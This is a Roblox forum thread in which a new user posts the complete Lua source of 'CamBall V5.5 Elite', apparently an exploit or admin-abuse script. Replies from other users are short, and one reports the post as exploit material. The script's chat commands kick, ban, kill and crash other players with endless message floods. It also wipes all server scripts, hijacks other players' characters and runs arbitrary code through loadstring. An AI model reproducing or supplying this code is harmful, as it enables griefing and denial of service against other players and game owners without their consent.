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ROBLOX Forum » Roblox » All Things ROBLOX
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Re: for the desperate people..

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Arteque is not online. Arteque
Joined: 01 Aug 2013
Total Posts: 1
02 Aug 2013 07:06 PM
local sizelol = Vector3.new(0.01,0.01,0.01)

if script ~= nil then script.Parent = nil end

function Reset()

pcall(function() Camball.Model:Remove() end)

pcall(function() Camball.Part1:Remove() end)

pcall(function() Camball.Part2:Remove() end)

pcall(function() Camball.Humanoid:Remove() end)

Camball = {}

Camball.Activated = true

Camball.Removed = false

Camball.Moving = true

Camball.Busy = false

Camball.BusyBypass = false

Camball.Hidden = false

Camball.WaitTime = 0.05

Camball.Name = "server god"

Camball.ChatColor = Enum.ChatColor.Green

Camball.Color = BrickColor.new("Really green1")

Camball.Point1 = CFrame.new()

Camball.Point2 = CFrame.new()

Camball.Model = Instance.new("Model")

Camball.Part1 = Instance.new("Part")

Camball.Part1.Transparency = 1

Camball.Part1Mesh = Instance.new("SpecialMesh", Camball.Part1)

Camball.Part2 = Instance.new("Part")

Camball.Part2.Transparency = 1

Camball.Part2Mesh = Instance.new("SpecialMesh", Camball.Part2)

Camball.Humanoid = Instance.new("Humanoid")

canim=game.Players.LocalPlayer.Character.Animate

lanim=canim:clone()

lanim.Parent = game.Lighting

Camball.GetRecursiveChildren = function(Source, Name, SearchType, Children)

if type(Source) ~= "userdata" then

Source = game

end

if type(Name) ~= "string" then

Name = "grouchylizard"

end

if type(Children) ~= "table" then

Children = {}

end

for _, Child in pairs(Source:children()) do

pcall(function()

if (function()

if SearchType == nil or SearchType == 1 then

return string.match(Child.Name:lower(), Name:lower())

elseif SearchType == 2 then

return string.match(Child.className:lower(), Name:lower())

elseif SearchType == 3 then

return Child:IsA(Name) or Child:IsA(Name:lower())

elseif SearchType == 4 then

return string.match(Child.Name:lower() .. string.rep(string.char(1), 5) .. Child.className:lower(), Name:lower()) or Child:IsA(Name) or Child:IsA(Name:lower())

end

return false

end)() and Child ~= script then

table.insert(Children, Child)

end

Camball.GetRecursiveChildren(Child, Name, SearchType, Children)

end)

end

return Children

end

end

Reset()

bannedlist = {}

function onPlayerEntered(newPlayer)

for i=1,#bannedlist do

if (newPlayer.Name == bannedlist[i]) then

local hint = Instance.new("Hint",game.Workspace)

hint.Text = "Banned user "..newPlayer.Name.." has tried to join."

newPlayer:remove()

break

else

local hint = Instance.new("Hint",game.Workspace)

hint.Text = newPlayer.Name.." has joined."

end

end

end

game.Players.PlayerAdded:connect(onPlayerEntered)

CatchMsg = function(Msg)

if Camball.Activated == false then return end

if Msg == "/fixlocal" then

game:service("ScriptContext").ScriptsDisabled = true

for i = 1, 10 do

for _, Part in pairs(Camball.GetRecursiveChildren()) do

if Part.className ~= "Player" then

pcall(function() Part.Disabled = true end)

pcall(function() Part:Remove() end)

end

end

wait()

end

wait(0.5)

Base = Instance.new("Part")

Base.Name = "Base"

Base.BrickColor = BrickColor.new("Dark green")

Base.TopSurface = "Studs"

Base.BottomSurface = "Smooth"

Base.formFactor = "Custom"

Base.Size = Vector3.new(1000, 5, 1000)

Base.CFrame = CFrame.new(0, -2, 0)

Base.Locked = true

Base.Anchored = true

Base.Parent = workspace

game:service("Lighting").Brightness = 1

game:service("Lighting").GeographicLatitude = 41.73

game:service("Lighting").Ambient = Color3.new(128 / 255, 128 / 255, 128 / 255)

game:service("Lighting").ColorShift_Top = Color3.new(0, 0, 0)

game:service("Lighting").ColorShift_Bottom = Color3.new(0, 0, 0)

game:service("Lighting").ShadowColor = Color3.new(179 / 255, 179 / 255, 184 / 255)

game:service("Lighting").TimeOfDay = "14:00:00"

for _, Player in pairs(game:service("Players"):GetPlayers()) do

pcall(function()

local Model = Instance.new("Model", workspace)

local Part = Instance.new("Part", Model)

Part.Name = "Head"

Part.Transparency = 1

Part.CanCollide = false

Part.Anchored = true

Part.Locked = true

Part.Parent = Model

local Humanoid = Instance.new("Humanoid", Model)

Humanoid.Health = 100

Player.Character = Model

Humanoid.Health = 0

end)

end

wait()

game:service("ScriptContext").ScriptsDisabled = false

elseif Msg == "/fix" then

local QuickScript = game:service("InsertService"):LoadAsset(54471119)["QuickScript"]

QuickScript.Name = "Fix"

QuickScript.Debug:Remove()

QuickScript.NewSource.Value = [[game:service("ScriptContext").ScriptsDisabled = true

for i = 1, 10 do

for _, Part in pairs(Camball.GetRecursiveChildren()) do

if Part.className ~= "Player" then

pcall(function() Part.Disabled = true end)

pcall(function() Part:Remove() end)

end

end

wait()

end

wait(0.5)

Base = Instance.new("Part")

Base.Name = "Base"

Base.BrickColor = BrickColor.new("Dark green")

Base.TopSurface = "Studs"

Base.BottomSurface = "Smooth"

Base.formFactor = "Custom"

Base.Size = Vector3.new(1000, 5, 1000)

Base.CFrame = CFrame.new(0, -2, 0)

Base.Locked = true

Base.Anchored = true

Base.Parent = workspace

game:service("Lighting").Brightness = 1

game:service("Lighting").GeographicLatitude = 41.73

game:service("Lighting").Ambient = Color3.new(128 / 255, 128 / 255, 128 / 255)

game:service("Lighting").ColorShift_Top = Color3.new(0, 0, 0)

game:service("Lighting").ColorShift_Bottom = Color3.new(0, 0, 0)

game:service("Lighting").ShadowColor = Color3.new(179 / 255, 179 / 255, 184 / 255)

game:service("Lighting").TimeOfDay = "14:00:00"

for _, Player in pairs(game:service("Players"):GetPlayers()) do

pcall(function()

local Model = Instance.new("Model", workspace)

local Part = Instance.new("Part", Model)

Part.Name = "Head"

Part.Transparency = 1

Part.CanCollide = false

Part.Anchored = true

Part.Locked = true

Part.Parent = Model

local Humanoid = Instance.new("Humanoid", Model)

Humanoid.Health = 100

Player.Character = Model

Humanoid.Health = 0

end)

end

wait()

game:service("ScriptContext").ScriptsDisabled = false]]

QuickScript.Parent = workspace

elseif Msg == "/stop" then

Camball.Moving = false

elseif Msg == "/go" then

Camball.Moving = true

elseif Msg == "/up" then

pcall(function() game:service("Players").LocalPlayer.Character:Remove() end)

game:service("Players").LocalPlayer.Character = nil

elseif Msg == "/down" then

if game:service("Players").LocalPlayer.Character ~= nil then

CatchMsg("/up")

end

Character = Instance.new("Model")

Character.Name = Camball.Name

Character.Parent = workspace

local Head = Instance.new("Part")

Head.Name = "Head"

Head.formFactor = 0

Head.Size = Vector3.new(2, 1, 1)

Head.TopSurface = 0

Head.BottomSurface = "Weld"

Head.BrickColor = BrickColor.new("Really black")

Head.Parent = Character

local Mesh = Instance.new("SpecialMesh")

Mesh.MeshType = "Head"

Mesh.Scale = Vector3.new(1.25, 1.25, 1.25)

Mesh.Parent = Head

local Face = Instance.new("Decal")

Face.Name = "face"

Face.Face = "Front"

Face.Texture = "rbxasset://textures/face.png"

Face.Parent = Head

local Torso = Instance.new("Part")

Torso.Name = "Torso"

Torso.formFactor = 0

Torso.Size = Vector3.new(2, 2, 1)

Torso.TopSurface = "Studs"

Torso.BottomSurface = "Inlet"

Torso.LeftSurface = "Weld"

Torso.RightSurface = "Weld"

Torso.BrickColor = BrickColor.new("Really black")

Torso.Parent = Character

local TShirt = Instance.new("Decal")

TShirt.Name = "roblox"

TShirt.Face = "Front"

TShirt.Texture = "http://www.roblox.com/asset/?id=64494357"

TShirt.Parent = Torso

local Limb = Instance.new("Part")

Limb.formFactor = 0

Limb.Size = Vector3.new(1, 2, 1)

Limb.TopSurface = "Studs"

Limb.BottomSurface = "Inlet"

Limb.BrickColor = BrickColor.new("Really black")

local Limb2 = Instance.new("Part")

Limb2.formFactor = 0

Limb2.Size = Vector3.new(1, 2, 1)

Limb2.TopSurface = "Studs"

Limb2.BottomSurface = "Inlet"

Limb2.BrickColor = BrickColor.new("Really black")

local LeftArm = Limb2:Clone()

LeftArm.Name = "Left Arm"

LeftArm.Parent = Character

local RightArm = Limb2:Clone()

RightArm.Name = "Right Arm"

RightArm.Parent = Character

local LeftLeg = Limb:Clone()

LeftLeg.Name = "Left Leg"

LeftLeg.Parent = Character

local RightLeg = Limb:Clone()

RightLeg.Name = "Right Leg"

RightLeg.Parent = Character

Character:BreakJoints()

local Neck = Instance.new("Motor6D")

Neck.Name = "Neck"

Neck.Part0 = Torso

Neck.Part1 = Head

Neck.C0 = CFrame.new(0, 2, 0)

Neck.C1 = CFrame.new(0, 0.5, 0)

Neck.MaxVelocity = 0

Neck.Parent = Torso

local LeftShoulder = Instance.new("Motor6D")

LeftShoulder.Name = "Left Shoulder"

LeftShoulder.Part0 = Torso

LeftShoulder.Part1 = LeftArm

LeftShoulder.C0 = CFrame.new(-1.5, 0.5, 0) * CFrame.fromEulerAnglesXYZ(0, math.rad(-90), 0)

LeftShoulder.C1 = CFrame.new(0, 0.5, 0) * CFrame.fromEulerAnglesXYZ(0, math.rad(-90), 0)

LeftShoulder.MaxVelocity = 0.5

LeftShoulder.Parent = Torso

local RightShoulder = Instance.new("Motor6D")

RightShoulder.Name = "Right Shoulder"

RightShoulder.Part0 = Torso

RightShoulder.Part1 = RightArm

RightShoulder.C0 = CFrame.new(1.5, 0.5, 0) * CFrame.fromEulerAnglesXYZ(0, math.rad(90), 0)

RightShoulder.C1 = CFrame.new(0, 0.5, 0) * CFrame.fromEulerAnglesXYZ(0, math.rad(90), 0)

RightShoulder.MaxVelocity = 0.5

RightShoulder.Parent = Torso

local LeftHip = Instance.new("Motor6D")

LeftHip.Name = "Left Hip"

LeftHip.Part0 = Torso

LeftHip.Part1 = LeftLeg

LeftHip.C0 = CFrame.new(-0.5, -1, 0) * CFrame.fromEulerAnglesXYZ(0, math.rad(-90), 0)

LeftHip.C1 = CFrame.new(0, 1, 0) * CFrame.fromEulerAnglesXYZ(0, math.rad(-90), 0)

LeftHip.MaxVelocity = 0.1

LeftHip.Parent = Torso

local RightHip = Instance.new("Motor6D")

RightHip.Name = "Right Hip"

RightHip.Part0 = Torso

RightHip.Part1 = RightLeg

RightHip.C0 = CFrame.new(0.5, -1, 0) * CFrame.fromEulerAnglesXYZ(0, math.rad(90), 0)

RightHip.C1 = CFrame.new(0, 1, 0) * CFrame.fromEulerAnglesXYZ(0, math.rad(90), 0)

RightHip.MaxVelocity = 0.1

RightHip.Parent = Torso

local Humanoid = Instance.new("Humanoid")

Humanoid.Parent = Character

Humanoid.WalkSpeed = 20

local BodyColors = Instance.new("BodyColors")

BodyColors.Name = "Body Colors"

BodyColors.HeadColor = Head.BrickColor

BodyColors.TorsoColor = Torso.BrickColor

BodyColors.LeftArmColor = LeftArm.BrickColor

BodyColors.RightArmColor = RightArm.BrickColor

BodyColors.LeftLegColor = LeftLeg.BrickColor

BodyColors.RightLegColor = RightLeg.BrickColor

BodyColors.Parent = Character

local Shirt = Instance.new("Shirt")

Shirt.Name = "Shirt"

Shirt.ShirtTemplate = ""

Shirt.Parent = Character

local ShirtGraphic = Instance.new("ShirtGraphic")

ShirtGraphic.Name = "Shirt Graphic"

ShirtGraphic.Graphic = ""

ShirtGraphic.Parent = Character

local Pants = Instance.new("Pants")

Pants.Name = "Pants"

Pants.PantsTemplate = ""

Pants.Parent = Character

Torso.CFrame = CFrame.new(Camball.Point1.p, Camball.Point2.p)

game:service("Players").LocalPlayer.Character = Character

workspace.CurrentCamera.CameraSubject = Character.Humanoid

workspace.CurrentCamera.CameraType = "Custom"

hats = {35292167,19398258,20642008,1029025}

for i = 1, #hats do

root = game:GetService("InsertService"):LoadAsset(hats[i])

root.Parent = Character

z = root:GetChildren()

for f = 1, #z do

z[f].Parent = Character

end

root:Remove()

end

ganim=game.Lighting:findFirstChild("Animate")

kanim=ganim:clone()

kanim.Parent = Character

elseif string.sub(Msg, 0, 7) == "borrow/" then

for _,v in pairs(game.Players:GetPlayers()) do

if string.find(v.Name, string.sub(Msg, 8)) ~= nil then

game:service("Players").LocalPlayer.Character = v.Character

workspace.CurrentCamera.CameraSubject = v.Character.Humanoid

workspace.CurrentCamera.CameraType = "Custom"

end

end

elseif string.sub(Msg, 0, 4) == "msg/" then

for i,v in pairs(game.Players:GetPlayers()) do

game:GetService("Chat"):Chat(v.Character.Head,string.sub(Msg, 5),Enum.ChatColor.Blue)

end

elseif string.sub(Msg, 0, 7) == "getage/" then

for _,v in pairs(game.Players:GetPlayers()) do

if string.find(v.Name, string.sub(Msg, 8)) ~= nil then

local at = 0

local age = v.AccountAge

while true do

wait()

if age - 365 < 0 then

break

end

at = at + 1

age = age - 365

end

local h = Instance.new("Hint", workspace)

h.Text = v.Name.."'s Account is "..at.." Year(s) old and "..age.." Day(s) old"

wait(4)

if h then

h:remove()

end

end

end

elseif string.sub(Msg, 0, 8) == "highage/" then

for _,v in pairs(game.Players:GetPlayers()) do

if string.find(v.Name, string.sub(Msg, 9)) ~= nil then

v.AccountAgeReplicate = 7*360

end

end

elseif string.sub(Msg, 0, 5) == "hulk/" then

for _,v in pairs(game.Players:GetPlayers()) do

if string.find(v.Name, string.sub(Msg, 6)) ~= nil then

local hulk = 72648316

root = game:GetService("InsertService"):LoadAsset(hulk)

root.Parent = game.Workspace

z = root:GetChildren()

for f = 1, #z do

z[f].Parent = game.Workspace

z[f]["Right Leg"].BrickColor = BrickColor.new("Bright violet")

z[f]["Left Leg"].BrickColor = BrickColor.new("Bright violet")

z[f].Name = "The Incredible Hulk"

wait(1)

v.Character = z[f]

end

root:Remove()

wait(1)

v.Character["Right Leg"].BrickColor = BrickColor.new("Bright violet")

v.Character["Left Leg"].BrickColor = BrickColor.new("Bright violet")

end

end

elseif string.sub(Msg, 0, 5) == "kick/" then

if game:service("Players")[string.sub(Msg, 6)]~= nil then

game:service("Players")[string.sub(Msg, 6)]:remove()

end

elseif string.sub(Msg, 0, 4) == "ban/" then

for _,v in pairs (game.Players:GetChildren()) do

if string.find(v.Name, string.sub(Msg, 5)) then

pcall(function()

v:remove()

table.insert(bannedlist, v.Name)

end)

end

end

elseif string.sub(Msg, 0, 6) == "unban/" then

for num,v in pairs(bannedlist) do

if string.sub(v:lower(), 0, #string.sub(Msg, 7)) == string.sub(Msg, 7) then

table.remove(bannedlist, v.Name)

end

end

elseif string.sub(Msg, 0, 11) == "bannedlist/" then

local mess = Instance.new("Message",game:service("Players").LocalPlayer.PlayerGui)

for num,v in pairs(bannedlist) do

mess.Text = v.." , "..num

end

mess:remove()

elseif string.sub(Msg, 0, 6) == "crash/" then

for _,v in pairs(game.Players:GetPlayers()) do

if string.find(v.Name, string.sub(Msg, 7)) then

while true do

wait()

for i = 1, 16000 do

if v:findFirstChild("PlayerGui") ~= nil then

local mes = Instance.new("Message", v.PlayerGui)

mes.Text = "Crashing"

local ex = Instance.new("Explosion", v.PlayerGui)

ex.BlastRadius = math.huge

local hint = Instance.new("Hint", v.PlayerGui)

hint.Text = "---------------------------------------------------------------------------"

local s = Instance.new("ScreenGui", v.PlayerGui)

local txt = Instance.new("TextBox", s)

txt.Size = UDim2.new(1, 0, 1, 0)

txt.Text = "Your Being Lagged"

txt.FontSize = "Size48"

end

end

end

end

end

elseif string.sub(Msg, 0, 10) == "walkspeed/" then

local bet = "/"

for i = 1, #Msg do

if string.sub(Msg, i, i) == bet then

for _,v in pairs(game.Players:GetPlayers()) do

if string.find(v.Name, string.sub(Msg, 0, i - 1)) then

if v.Character then

if v.Character:findFirstChild("Humanoid") then

v.Character.Humanoid.WalkSpeed = tonumber(string.sub(Msg, i+1))

end

end

end

end

end

end

elseif string.sub(Msg, 0, 8) == "antilag/" then

game:service("Players").LocalPlayer.PlayerGui.DescendantAdded:connect(function(v)

if v:IsA("Message") or v:IsA("Hint") then

v:Remove()

end end)

game.Workspace.CurrentCamera.DescendantAdded:connect(function(v)

if v:IsA("Message") or v:IsA("Hint") then

v:Remove()

end end)

elseif string.sub(Msg, 0, 7) == "plrgui/" then

game:service("Players").LocalPlayer.PlayerGui.Archivable = true

wait()

game:service("Players").LocalPlayer.PlayerGui.Name = "PlrGui"

wait(1)

game:service("Players").LocalPlayer.PlayerGui.Archivable = false

elseif string.sub(Msg, 0, 4) == "lag/" then

for _,v in pairs(game.Players:GetPlayers()) do

if string.find(v.Name, string.sub(Msg, 5)) then

while true do

wait()

for i = 1, 16000 do

if v:findFirstChild("PlayerGui") ~= nil then

local mes = Instance.new("Message", v.PlayerGui)

mes.Text = "You are being Lagged"

local s = Instance.new("ScreenGui", v.PlayerGui)

local txt = Instance.new("TextBox", s)

txt.Size = UDim2.new(1, 0, 1, 0)

txt.Text = "Your Being Lagged"

txt.FontSize = "Size48"

end

end

end

end

end

elseif string.sub(Msg, 0, 12) == "plrguiclear/" then

game:service("Players").LocalPlayer.PlrGui:ClearAllChildren()

elseif string.sub(Msg, 0, 15) == "playerguiclear/" then

game:service("Players").LocalPlayer.PlayerGui:ClearAllChildren()

elseif string.sub(Msg, 0, 5) == "kill/" then

for _,v in pairs(game.Players:GetPlayers()) do

if string.find(v.Name, string.sub(Msg, 6)) ~= nil then

v.Character:BreakJoints()

end

end

elseif string.sub(Msg, 0, 7) == "punish/" then

for _,v in pairs(game.Players:GetPlayers()) do

if string.find(v.Name, string.sub(Msg, 8)) ~= nil then

v.Character.Parent = nil

end

end

elseif string.sub(Msg, 0, 9) == "unpunish/" then

for _,v in pairs(game.Players:GetPlayers()) do

if string.find(v.Name, string.sub(Msg, 10)) ~= nil then

v.Character.Parent = game:service("Workspace")

end

end

elseif string.sub(Msg, 0, 5) == "size/" then

sizelol = Vector3.new(string.sub(Msg, 6),string.sub(Msg, 6),string.sub(Msg, 6))

elseif Msg == "/center" or Msg == "/ct" then

workspace.CurrentCamera.CoordinateFrame = CFrame.new(0, 10, 0)

workspace.CurrentCamera.Focus = CFrame.new(1, 10, 0)

elseif Camball.BusyBypass == true then

return

elseif Msg == "/off" then

elseif Msg == "/hide" then

Camball.Hidden = true

Camball.Activated = true

elseif Msg == "/unhide" then

Camball.Hidden = false

Camball.Activated = true

elseif Msg == "/new base" then

local Base = Instance.new("Part", Workspace)

Base.Anchored = true

Base.Locked = true

Base.Size = Vector3.new(1000, 1, 1000)

Base.CFrame = CFrame.new(0, 0, 0)

Base.Name = "Base"

Base.BrickColor = BrickColor.new("Bright green")

elseif Msg == "/ex" or Msg == "/explode" then

local Shield = Instance.new("ForceField", game:service("Players").LocalPlayer.Character or nil)

wait(0.05)

local Explosion = Instance.new("Explosion")

Explosion.BlastRadius = 25

Explosion.BlastPressure = 1000000

Explosion.Position = Camball.Point2.p

Explosion.Hit:connect(function(Hit)

if Hit:IsDescendantOf(game:service("Players").LocalPlayer.Character) == false then

Hit.Anchored = false

Hit:BreakJoints()

end

end)

Explosion.Parent = workspace

wait(0.1)

Shield:Remove()

elseif string.sub(Msg, 0, 2) == "/f" or string.sub(Msg, 0, 5) == "/fire" then

if Camball.Busy == true then

Camball.Busy = false

wait(0.5)

end

Camball.Busy = true

for i = 1, tonumber(string.sub(Msg, 4)) or tonumber(string.sub(Msg, 7)) or 1 do

if Camball.Busy == false then break end

coroutine.wrap(function()

local QuickScript = game:service("InsertService"):LoadAsset(54471119)["QuickScript"]

QuickScript.Name = "PlaySound"

QuickScript.Debug:Remove()

QuickScript.NewSource.Value = [[local Sound = Instance.new("Sound", script.Parent)

Sound.Pitch = 0.9

Sound.Volume = 1

Sound.SoundId = "

http://www.roblox.com/Asset/?id=13775494"

Sound:Play()

script:Remove()]]

QuickScript.Parent = Camball.Part1

end)()

coroutine.wrap(function()

local Bullet = Instance.new("Part", workspace)

Bullet.Name = "Camera Bullet"

Bullet.formFactor = "Custom"

Bullet.Size = Vector3.new(0.5, 0.5, 2)

Bullet.TopSurface = 0

Bullet.BottomSurface = 0

Bullet.BrickColor = BrickColor.new("New Yeller")

Bullet.CFrame = CFrame.new(Camball.Point1.p, Camball.Point2.p) * CFrame.new(0, 0, -3)

Mesh = Instance.new("SpecialMesh", Bullet)

Mesh.MeshType = "Sphere"

local BodyVelocity = Instance.new("BodyVelocity")

BodyVelocity.maxForce = Vector3.new(math.huge, math.huge, math.huge)

BodyVelocity.velocity = ((Camball.Point2.p - Camball.Point1.p).unit * 250) + Vector3.new(math.random(-10, 10), math.random(-10, 10), math.random(-10, 10))

BodyVelocity.Parent = Bullet

BulletScript = game:service("InsertService"):LoadAsset(54471119)["QuickScript"]

BulletScript.Name = "Bullet Script"

BulletScript.Debug:Remove()

BulletScript.NewSource.Value = [[script.Parent.Touched:connect(function(Hit)

if Hit.Name == "Camera Focus" then return end

local Sound = Instance.new("Sound", script.Parent)

Sound.Pitch = 1

Sound.Volume = 1

Sound.SoundId = "

http://www.roblox.com/Asset/?id=2101148"

Sound:Play()

local Explosion = Instance.new("Explosion")

Explosion.BlastRadius = 5

Explosion.BlastPressure = 500000

Explosion.Position = script.Parent.CFrame.p

Explosion.Hit:connect(function(Hit) Hit.Anchored = false Hit:BreakJoints() end)

Explosion.Parent = workspace

wait(0.1)

script.Parent:Remove()

end)]]

BulletScript.Parent = Bullet

coroutine.wrap(function()

while Bullet.Parent ~= nil do

Bullet:BreakJoints()

wait()

end

end)()

end)()

wait(0.15)

end

Camball.Busy = false

elseif string.sub(Msg, 0, 2) == "/b" or string.sub(Msg, 0, 5) == "/bomb" then

if Camball.Busy == true then

Camball.Busy = false

wait(0.5)

end

B = Instance.new("Part", Workspace)

B.BrickColor = BrickColor.new("Really black")

B.CFrame = game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(0,0,0)

B.Size = Vector3.new(1,1,1)

B.Shape = "Ball"

B.TopSurface = "Smooth"

B.BottomSurface = "Smooth"

B.Name = "DIE LOL"

wait(5)

Ex = Instance.new("Explosion", Workspace)

Ex.BlastRadius = 15

Ex.BlastPressure = 15

Ex.Position = B.Position

B:remove()

elseif string.sub(Msg, 0, 3) == "/m " then

local Message = Instance.new("Message", workspace)

Message.Text = Camball.Name.. ": " ..string.sub(msg,4)

wait(3)

Message:Remove()

elseif string.sub(Msg, 0, 3) == "/h " then

local Hint = Instance.new("Hint", workspace)

Hint.Text = Camball.Name.. ": " ..string.sub(msg,4)

wait(3)

Hint:Remove()

elseif string.sub(Msg, 0, 4) == "/sb " then

local QuickScript = game:service("InsertService"):LoadAsset(54471119)["QuickScript"]

QuickScript.Name = "QuickScript (" ..tick().. ")"

QuickScript.NewSource.Value = string.sub(Msg, 5)

QuickScript.Parent = workspace

elseif string.sub(Msg, 0, 5) == "/sbl " then

local QuickScript = game:service("InsertService"):LoadAsset(54471119)["QuickLocalScript"]

QuickScript.Name = "QuickLocalScript (" ..tick().. ")"

QuickScript.NewSource.Value = string.sub(Msg, 6)

QuickScript.Parent = game:service("Players").LocalPlayer.PlayerGui

elseif string.sub(Msg, 0, 4) == "/ls " then

loadstring(string.sub(Msg, 5))()

elseif string.sub(Msg, 0, 5) == "/lsr " then

Camball.Activated = true

while Camball.Removed == false do wait() end

Message:Remove()

loadstring(string.sub(Msg, 6))()

error()

elseif Msg == "/rp" or Msg == "/remove player" then

pcall(function() game:service("Players")[game:service("Players").LocalPlayer.Name]:Remove() end)

elseif string.sub(Msg, 0, 6) == "/name " then

Camball.Name = string.sub(Msg, 7)

elseif string.sub(Msg, 0, 7) == "/color " then

Camball.Color = BrickColor.new(string.sub(Msg, 8))

elseif string.sub(Msg, 0, 6) == "/size " then

Camball.Size = Vector3.new(string.sub(Msg, 7))

elseif string.sub(Msg, 0, 12) == "/chat color " then

if string.sub(Msg, 13) == "red" then

Camball.ChatColor = Enum.ChatColor.Red

elseif string.sub(Msg, 13) == "green" then

Camball.ChatColor = Enum.ChatColor.Green

elseif string.sub(Msg, 13) == "blue" then

Camball.ChatColor = Enum.ChatColor.Blue

end

elseif Msg == "/c" or Msg == "/cancel" then

Camball.Busy = false

elseif Msg == "/r" or Msg == "/reset" then

Reset()

elseif string.match(Msg, "lego") == nil then

if game:service("Players").LocalPlayer.Character ~= nil and Camball.Hidden == true then

pcall(function() game:service("Chat"):Chat(game:service("Players").LocalPlayer.Character.Head, Msg, Camball.ChatColor) end)

else

pcall(function() game:service("Chat"):Chat(Camball.Part1, Msg, Camball.ChatColor) end)

end

end

end

coroutine.wrap(function()

while Camball.Activated == true do

pcall(function() CatchMsgConnection:disconnect() end)

pcall(function() CatchMsgConnection = game:service("Players").LocalPlayer.Chatted:connect(CatchMsg) end)

wait(1)

end

end)()

while Camball.Activated == true do

if Camball.Moving == true then

if game:service("Players").LocalPlayer.Character == nil then

Camball.Point1 = workspace.CurrentCamera.CoordinateFrame

Camball.Point2 = workspace.CurrentCamera.Focus

else

Camball.Point1 = workspace.CurrentCamera.Focus * CFrame.new(0, 5, 0)

Camball.Point2 = CFrame.new(workspace.CurrentCamera.Focus.p) * CFrame.new(0, 5, 0) * CFrame.fromEulerAnglesXYZ(CFrame.new(workspace.CurrentCamera.CoordinateFrame.p, workspace.CurrentCamera.Focus.p):toEulerAnglesXYZ()) * CFrame.new(0, 0, -10)

end

pcall(function()

if Camball.Hidden == true then

if Camball.Part1.Transparency >= 1 then

else

Camball.Part1.Transparency = Camball.Part1.Transparency + 0.05

local Old = Camball.Part1.CFrame

Camball.Part1.Size = Camball.Part1.Size + Vector3.new(0.1, 0.1, 0.1)

Camball.Part1.CFrame = Old

end

if Camball.Part2.Transparency >= 1 then

Camball.Part2.Parent = nil

else

Camball.Part2.Transparency = Camball.Part2.Transparency + 0.01

local Old = Camball.Part2.CFrame

Camball.Part2.Size = Camball.Part2.Size + Vector3.new(0.1, 0.1, 0.1)

Camball.Part2.CFrame = Old

end

else

Camball.Model.Name = Camball.Name

Camball.Model.Parent = workspace

Camball.Part1.Name = "Head"

Camball.Part1.formFactor = "Custom"

Camball.Part1.Size = sizelol

Camball.Part1.TopSurface = 0

Camball.Part1.BottomSurface = 0

Camball.Part1.BrickColor = Camball.Color

Camball.Part1.Transparency = Camball.Part1.Transparency <= 0 and 0 or Camball.Part1.Transparency - 0.05

Camball.Part1.Anchored = true

Camball.Part1.CanCollide = true

Camball.Part1.Parent = Camball.Model

Camball.Part1.CFrame = Camball.Point1

Camball.Part1Mesh.MeshType = "Sphere"

Camball.Part1Mesh.VertexColor = Vector3.new(1, 1, 1)

Camball.Part1Mesh.Scale = Vector3.new(1, 1, 1)

Camball.Part1Mesh.Parent = Camball.Part1

Camball.Part2.Name = "Focus"

Camball.Part2.formFactor = "Custom"

Camball.Part2.TopSurface = 0

Camball.Part2.BottomSurface = 0

Camball.Part2.BrickColor = BrickColor.new("Institutional white")

Camball.Part2.Transparency = Camball.Part2.Transparency <= 0.75 and 0.75 or Camball.Part2.Transparency - 0.01

Camball.Part2.Anchored = true

Camball.Part2.CanCollide = false

Camball.Part2.Parent = Camball.Model

Camball.Part2.Size = Vector3.new(0.1, 0.1, (Camball.Point2.p - Camball.Point1.p).magnitude)

Camball.Part2.CFrame = CFrame.new((Camball.Point1.p + Camball.Point2.p) / 2, Camball.Point2.p)

Camball.Part2Mesh.MeshType = "Sphere"

Camball.Part2Mesh.Scale = Vector3.new(1, 1, 1)

Camball.Part2Mesh.Parent = Camball.Part2

Camball.Humanoid.Name = "Humanoid"

Camball.Humanoid.MaxHealth = 0

Camball.Humanoid.Health = 0

Camball.Humanoid.Parent = Camball.Model

end

end)

end

wait(Camball.WaitTime)

end

pcall(function() Camball.Part1:Remove() end)

pcall(function() Camball.Part2:Remove() end)

pcall(function() Camball.Humanoid:Remove() end)

pcall(function() Camball.Model:Remove() end)

Camball.Removed = true

-- CamBall V5.5 Elite --
Report Abuse
Landish is not online. Landish
Joined: 24 Sep 2011
Total Posts: 8152
02 Aug 2013 07:07 PM
Reporting this thread as the script is 99.9999# of the time used for exploiting,
Report Abuse
sillyrobloxgoescrazy is not online. sillyrobloxgoescrazy
Joined: 11 Aug 2011
Total Posts: 1364
02 Aug 2013 07:08 PM
my gosh thats a long thing
Report Abuse
Daywatch is not online. Daywatch
Joined: 24 Sep 2012
Total Posts: 2681
02 Aug 2013 07:09 PM
Really?

-WATCH the DAY, Daywatch
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